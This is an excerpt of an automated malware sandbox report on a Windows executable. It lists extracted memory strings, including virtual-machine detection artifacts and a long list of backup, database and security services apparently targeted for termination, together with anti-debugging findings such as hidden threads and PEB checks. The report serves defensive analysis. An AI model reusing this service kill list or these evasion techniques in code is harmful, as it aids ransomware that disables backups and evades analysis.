Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	File Volume queried: C:\ FullSizeInformation

Source: Pna3t7DeL3.exe, 00000022.00000002.373213986.0000000004B40000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: vmware-converter
Source: bcdedit.exe, 00000010.00000002.303025860.000001CD5A839000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: EFI VMware Virtual SATA CDROM Drive
Source: bcdedit.exe, 0000000F.00000002.301731631.0000015A4CE39000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: pEFI VMware V
Source: Pna3t7DeL3.exe, 00000022.00000003.370201850.0000000004B10000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: wrapper,DefWatch,ccEvtMgr,ccSetMgr,SavRoam,Sqlservr,sqlagent,sqladhlp,Culserver,RTVscan,sqlbrowser,SQLADHLP,QBIDPService,Intuit.QuickBooks.FCS,QBCFMonitorService, msmdsrv,tomcat6,zhudongfangyu,vmware-usbarbitator64,vmware-converter,dbsrv12,dbeng8,MSSQL$MICROSOFT##WID,MSSQL$VEEAMSQL2012,SQLAgent$VEEAMSQL2012,SQLBrowser,SQLWriter,FishbowlMySQL,MSSQL$MICROSOFT##WID,MySQL57,MSSQL$KAV_CS_ADMIN_KIT,MSSQLServerADHelper100,SQLAgent$KAV_CS_ADMIN_KIT,msftesql-Exchange,MSSQL$MICROSOFT##SSEE,MSSQL$SBSMONITORING,MSSQL$SHAREPOINT,MSSQLFDLauncher$SBSMONITORING,MSSQLFDLauncher$SHAREPOINT,SQLAgent$SBSMONITORING,SQLAgent$SHAREPOINT,QBFCService,QBVSS,YooBackup,YooIT,vss,sql,svc$,MSSQL,MSSQL$,memtas,mepocs,sophos,veeam,backup,bedbg,PDVFSService,BackupExecVSSProvider,BackupExecAgentAccelerator,BackupExecAgentBrowser,BackupExecDiveciMediaService,BackupExecJobEngine,BackupExecManagementService,BackupExecRPCService,MVArmor,MVarmor64,stc_raw_agent,VSNAPVSS,VeeamTransportSvc,VeeamDeploymentService,VeeamNFSSvc,AcronisAgent,ARSM,AcrSch2Svc,CASAD2DWebSvc,CAARCUpdateSvc,WSBExchange,MSExchange,MSExchange$
Source: Pna3t7DeL3.exe, 00000022.00000002.373213986.0000000004B40000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: wrapperDefWatchccEvtMgrccSetMgrSavRoamSqlservrsqlagentsqladhlpCulserverRTVscansqlbrowserSQLADHLPQBIDPServiceIntuit.QuickBooks.FCSQBCFMonitorService msmdsrvtomcat6zhudongfangyuvmware-usbarbitator64vmware-converterdbsrv12dbeng8MSSQL$MICROSOFT##WIDMSSQL$VEEAMSQL2012SQLAgent$VEEAMSQL2012SQLBrowserSQLWriterFishbowlMySQLMSSQL$MICROSOFT##WIDMySQL57MSSQL$KAV_CS_ADMIN_KITMSSQLServerADHelper100SQLAgent$KAV_CS_ADMIN_KITmsftesql-ExchangeMSSQL$MICROSOFT##SSEEMSSQL$SBSMONITORINGMSSQL$SHAREPOINTMSSQLFDLauncher$SBSMONITORINGMSSQLFDLauncher$SHAREPOINTSQLAgent$SBSMONITORINGSQLAgent$SHAREPOINTQBFCServiceQBVSSYooBackupYooITvsssqlsvc$MSSQLMSSQL$memtasmepocssophosveeambackupbedbgPDVFSServiceBackupExecVSSProviderBackupExecAgentAcceleratorBackupExecAgentBrowserBackupExecDiveciMediaServiceBackupExecJobEngineBackupExecManagementServiceBackupExecRPCServiceMVArmorMVarmor64stc_raw_agentVSNAPVSSVeeamTransportSvcVeeamDeploymentServiceVeeamNFSSvcAcronisAgentARSMAcrSch2SvcCASAD2DWebSvcCAARCUpdateSvcWSBExchangeMSExchangeMSExchange$
Source: Pna3t7DeL3.exe, 00000022.00000002.370637475.0000000000400000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: " msmdsrv,tomcat6,zhudongfangyu,vmware-usbarbitator64
Source: Pna3t7DeL3.exe, 00000000.00000003.274442257.0000000002ED9000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll`
Source: Pna3t7DeL3.exe, 00000022.00000002.373213986.0000000004B40000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: vmware-usbarbitator64
Source: bcdedit.exe, 00000010.00000002.303025860.000001CD5A83D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: pEFI VMware Virtual SATA CDROM Drive (0.0)

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Thread information set: HideFromDebugger

Contains functionality to hide a thread from the debugger

Source: C:\Users\user\Desktop\Pna3t7DeL3.exe

Code function: 0_2_004BA300 NtSetInformationThread 00000000,00000011,00000000,00000000

Source: C:\Users\user\Desktop\Pna3t7DeL3.exe

Process token adjusted: Debug

Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_0049B870 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_0049B870 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_0049B870 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_0049B870 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_0049B870 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_0049B870 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_0049B870 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_0049B870 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_0049B870 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_0049B870 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004BE070 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004BB000 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004BB140 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004BB140 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004BB140 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004BB140 mov ecx, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004BB140 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_0045C960 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_0045C960 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_0045C960 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_0045C960 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_0045C960 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_0045C960 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_0045C960 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_0045C960 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_0045C960 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_0045C960 mov ecx, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_0045C960 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_0045C960 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_0045C960 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_0045C960 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_0045C960 mov ecx, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_0045C960 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_00458930 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_00458930 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_00458930 mov ecx, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_00458930 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004C29A0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004C29A0 mov ecx, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004C29A0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004C29A0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004C29A0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004A8A00 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004A8A00 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004A8A00 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004A8A00 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004A8A00 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004A7A30 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004A7A30 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004A62F0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004A62F0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004A62F0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004A62F0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004A62F0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004A62F0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004A62F0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004A62F0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004A62F0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004A62F0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004A62F0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004A62F0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004A4B60 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004A4B60 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004A4B60 mov ecx, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004BA300 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004BA300 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004BA300 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004BEB10 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004BEB10 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004A5B30 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004A5B30 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004A5B30 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004BABA0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004BABA0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004BABA0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004B9C40 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004B9C40 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_0045BD40 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_0045BD40 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_0045BD40 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_0045BD40 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_0045BD40 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_0045BD40 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_0045BD40 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_00459560 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_0049EDC0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004A0DC0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004A0DC0 mov ecx, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004A0DC0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004A0DC0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004A0DC0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004A7D80 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004A8590 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004A8590 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004A8590 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004C1E40 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004C1E40 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004C1E40 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004C1E40 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004C1E40 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004C1E40 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004C1E40 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004C1E40 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_00499660 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_00499660 mov ecx, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_00499660 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_00499660 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_00499660 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_00499660 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_00499660 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_00457E70 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_00457E70 mov ecx, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_00457E70 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_00457E70 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004A2EC0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004A2EC0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004A2EC0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004A2EC0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004A2EC0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004A2EC0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004A2EC0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004A2EC0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004A2EC0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004A2EC0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004A2EC0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004A2EC0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004A5E80 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004A5E80 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004A5E80 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_00458770 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004A7F10 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004A7F10 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004A7F10 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004A7F10 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004A4FE0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004A4FE0 mov ecx, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004A4FE0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004A4FE0 mov ecx, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004A4FE0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004A4FE0 mov ecx, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004A4FE0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_00458FF0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_00458FF0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_00458FF0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004BFF90 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004BA7B0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004BA7B0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_00415040 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_00411840 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_00411840 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_00429840 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_00452040 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_00452040 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_00452040 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_00452040 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_00416850 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_0041A050 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_0041B060 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_0041A860 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_00453860 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_00453860 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_00453860 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_00453860 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_00453860 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_00415870 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_00417070 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_00417810 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_00412830 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004D7830 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004290C0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004BB8C0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004BB8C0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004BB8C0 mov ecx, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004BB8C0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004BB8C0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004C38C0 mov eax, dword ptr fs:[00000030h]
